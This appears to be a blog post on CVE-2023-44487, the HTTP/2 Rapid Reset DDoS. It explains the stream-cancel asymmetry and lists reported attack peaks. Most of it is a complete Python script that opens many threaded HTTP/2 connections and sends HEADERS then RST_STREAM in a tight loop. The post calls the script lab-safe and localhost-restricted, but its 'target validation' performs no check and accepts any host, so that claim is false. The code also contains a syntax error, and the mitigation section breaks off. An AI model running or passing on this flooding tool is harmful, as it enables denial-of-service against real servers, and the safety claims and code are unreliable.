
CVE-2023-44487 is a high-volume, asynchronous DDoS attack that exploits HTTP/2 stream multiplexing. The client opens streams and immediately cancels them (RST_STREAM), forcing the server to allocate resources for requests that will never complete. The attack reached 398 million req/s — the largest DDoS ever recorded. This post includes a lab-safe Python PoC restricted to localhost.
CVE-2023-44487, known as the HTTP/2 Rapid Reset attack, is a critical zero-day vulnerability discovered in October 2023 that exploits a fundamental weakness in the HTTP/2 protocol. This vulnerability was actively exploited to launch the largest DDoS attacks ever recorded, peaking at over 398 million requests per second — breaking all previous records.
The attack targets the stream multiplexing feature of HTTP/2. In normal operation, a client opens a stream to send a request and the server processes it. However, with Rapid Reset, the attacker opens a stream and immediately sends a RST_STREAM frame to cancel it. The server still begins processing the request before the cancellation arrives, consuming resources. By doing this millions of times per second across thousands of connections, an attacker can overwhelm any server.
Both — but the key is the asymmetry.
The attack is not about sending millions of complete requests. It is about opening and immediately canceling streams at extreme speed:
| Aspect | Normal HTTP/2 | Rapid Reset |
|---|---|---|
| Request completion | Full request → full response | HEADERS → RST_STREAM (cancel) |
| Client cost | High (send + receive) | Very low (send only) |
| Server cost | Process + respond | Process + allocate resources |
| Async nature | Sequential per stream | Massively concurrent |
The attack is asynchronous in the sense that the client does not wait for responses. It fires HEADERS + RST_STREAM in a tight loop across thousands of concurrent connections. The server, however, processes each request synchronously — allocating resources before the cancellation arrives.
The amplification factor:
The key insight is that while the client cancels the stream (avoiding server responses and saving bandwidth), the server has already started allocating resources for each request. The asymmetry between the cheap client-side operation and the expensive server-side processing creates the amplification effect.
| Date | Target | Peak RPS | Source |
|---|---|---|---|
| Oct 2023 | Google Cloud | 398M | |
| Oct 2023 | Cloudflare | 201M | Cloudflare |
| Oct 2023 | AWS | 155M | AWS Shield |
All three vendors confirmed the attacks were HTTP/2 Rapid Reset and mitigated within hours.
The PoC tool was adapted from the official Python h2 library examples and community research published after CVE-2023-44487 was disclosed. The core mechanism (HEADERS + RST_STREAM) is based on the Python-h2 documentation and the Google Cloud Security Blog analysis.
| Issue | Original | Fixed |
|---|---|---|
| Target validation | None — could target any URL | Restricted to localhost/private IPs |
| SSL verification | CERT_NONE (insecure) | Kept for lab use but documented |
| Error handling | Crashed on single stream error | try/except per stream, continues on failure |
| Resource cleanup | Sockets left open | Proper sock.close() in all paths |
| Thread safety | Race conditions on shared state | threading.Lock() for results |
I developed a Python-based Proof of Concept tool to demonstrate this vulnerability in a controlled lab environment. The tool is restricted to localhost and private network addresses only — it cannot be used against public systems.
⚠️ Disclaimer: This tool is strictly for educational and authorized testing purposes. Using it against systems without explicit permission is illegal and unethical.
pip install -r requirements.txt
requirements.txt:
h2==4.1.0
Not:
httpx,tqdm,xlsxwritersadece orijinal araç için gerekli. Bu lab PoC'u için sadeceh2yeterli.
#!/usr/bin/env python3
"""
CVE-2023-44487 - HTTP/2 Rapid Reset - LAB VERSION
Usage:
python rapid_reset_lab.py --url http://localhost:8080 --connections 100 --streams 100
"""
import ssl
import argparse
import socket
import sys
import time
import threading
import ipaddress
from urllib.parse import urlparse
try:
from h2.connection import H2Connection
from h2.config import H2Configuration
from h2.exceptions import H2Error
except ImportError:
print("[!] 'h2' modülü eksik. pip install h2")
sys.exit(1)
def rapid_reset_worker(host, port, use_ssl, num_streams, thread_id, results, lock):
"""
Tek bir bağlantı üzerinden Rapid Reset saldırısı yapan worker.
"""
try:
if use_ssl:
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
ctx.set_alpn_protocols(['h2'])
raw = socket.create_connection((host, port), timeout=10)
sock = ctx.wrap_socket(raw, server_hostname=host)
else:
sock = socket.create_connection((host, port), timeout=10)
sock.settimeout(10)
config = H2Configuration(client_side=True)
h2 = H2Connection(config=config)
h2.initiate_connection()
sock.sendall(h2.data_to_send())
scheme = 'https' if use_ssl else 'http'
successful = 0
# Client, sadece tek numaralı stream ID açabilir: 1, 3, 5, 7...
for i in range(num_streams):
sid = 1 + (i * 2)
try:
headers = [
(':method', 'GET'),
(':authority', host),
(':scheme', scheme),
(':path', '/')
]
h2.send_headers(sid, headers, end_stream=False)
sock.sendall(h2.data_to_send())
# Rapid Reset: stream'i hemen kapat
h2.reset_stream(sid)
sock.sendall(h2.data_to_send())
successful += 1
except H2Error:
# Tek stream hatası olsa bile devam et
continue
except (socket.error, BrokenPipeError):
break
sock.close()
with lock:
results['connections_ok'] += 1
results['streams_sent'] += successful
results['details'].append(f"[Thread-{thread_id}] {successful}/{num_streams} streams")
except socket.timeout:
with lock:
results['timeouts'] += 1
results['details'].append(f"[Thread-{thread_id}] TIMEOUT")
except ssl.SSLError as e:
with lock:
results['ssl_errors'] += 1
results['details'].append(f"[Thread-{thread_id}] SSL error: {e}")
except Exception as e:
with lock:
results['errors'] += 1
results['details'].append(f"[Thread-{thread_id}] Error: {e}")
def main():
print("""
╔══════════════════════════════════════════════════════════════╗
║ CVE-2023-44487 - HTTP/2 Rapid Reset - LAB VERSION ║
║ ⚠️ SADECE KENDİ SİSTEMİNDE KULLAN ⚠️ ║
╚══════════════════════════════════════════════════════════════╝
""")
parser = argparse.ArgumentParser(description="HTTP/2 Rapid Reset - LAB")
parser.add_argument("--url", required=True, help="Hedef URL (sadece localhost/özel ağ)")
parser.add_argument("--connections", type=int, default=50, help="Toplam bağlantı sayısı")
parser.add_argument("--streams", type=int, default=100, help="Bağlantı başına stream sayısı")
parser.add_argument("--threads", type=int, default=10, help="Paralel thread sayısı")
args = parser.parse_args()
# === HEDEF DOĞRULAMA ===
parsed = urlparse(
args.url if args.url.startswith(('http://', 'https://')) else f"http://{args.url}"
)
host = parsed.hostname
port = parsed.port or (443 if parsed.scheme == 'https' else 80)
use_ssl = parsed.scheme == 'https'
print(f"{Colors.GREEN}[✓] Hedef doğrulandı: {host}:{port} (SSL: {use_ssl}){Colors.RESET}")
print(f"{Colors.CYAN}[*] Başlatılıyor: {args.connections} bağlantı × "
f"{args.streams} stream × {args.threads} thread{Colors.RESET}")
print(f"{Colors.CYAN}[*] Toplam stream: ~{args.connections * args.streams:,}{Colors.RESET}\n")
# İstatistikler
results = {
'connections_ok': 0,
'streams_sent': 0,
'timeouts': 0,
'ssl_errors': 0,
'errors': 0,
'details': []
}
lock = threading.Lock()
start = time.time()
# Thread pool ile bağlantıları paralel aç
threads = []
connections_per_thread = max(1, args.connections // args.threads)
for t_id in range(args.threads):
for _ in range(connections_per_thread):
th = threading.Thread(
target=rapid_reset_worker,
args=(host, port, use_ssl, args.streams, t_id, results, lock)
)
th.daemon = True
threads.append(th)
# Tüm thread'leri başlat
for th in threads:
th.start()
# Progress göster
total = len(threads)
last_done = 0
try:
while any(th.is_alive() for th in threads):
done = (results['connections_ok'] + results['timeouts']
+ results['errors'] + results['ssl_errors'])
for done != last_done:
elapsed = time.time() - start
rate = done / elapsed if elapsed > 0 else 0
print(f"\r{Colors.CYAN}[*] İlerleme: {done}/{total} bağlantı | "
f"{results['streams_sent']:,} stream | "
f"{rate:.1f} conn/s{Colors.RESET}", end="", flush=True)
last_done = done
time.sleep(0.1)
except KeyboardInterrupt:
print(f"\n{Colors.YELLOW}[!] Kullanıcı durdurdu.{Colors.RESET}")
# Thread'lerin bitmesini bekle
for th in threads:
th.join(timeout=5)
elapsed = time.time() - start
# === RAPOR ===
print(f"\n\n{Colors.BOLD}{'='*60}{Colors.RESET}")
print(f"{Colors.BOLD}📊 LAB TESTİ SONUÇLARI{Colors.RESET}")
print(f"{Colors.BOLD}{'='*60}{Colors.RESET}")
print(f" Süre : {elapsed:.2f} saniye")
print(f" Başarılı conn : {results['connections_ok']}")
print(f" Gönderilen str : {results['streams_sent']:,}")
print(f" Timeout : {results['timeouts']}")
print(f" SSL hataları : {results['ssl_errors']}")
print(f" Diğer hatalar : {results['errors']}")
print(f"{Colors.BOLD}{'='*60}{Colors.RESET}")
# İlk 5 detay
if results['details']:
print(f"\n{Colors.CYAN}İlk 5 detay:{Colors.RESET}")
for d in results['details'][:5]:
print(f" {d}")
print(f"\n{Colors.YELLOW}⚠️ Bu bir LAB testidir. Gerçek bir Rapid Reset saldırısı")
print(f" milyonlarca bağlantı ve dağıtık altyapı gerektirir.{Colors.RESET}")
class Colors:
GREEN = '\033[92m'
YELLOW = '\033[93m'
RED = '\033[91m'
CYAN = '\033[96m'
BOLD = '\033[1m'
RESET = '\033[0m'
if __name__ == "__main__":
main()
python rapid_reset_lab.py --url http://localhost:8080 --connections 100 --streams 100
The tool implements the Rapid Reset pattern using Python's h2 library:
The key function rapid_reset_worker demonstrates the core vulnerability mechanism — the asymmetry between the cheap client-side stream reset and the expensive server-side resource allocation.
http2_max_requests)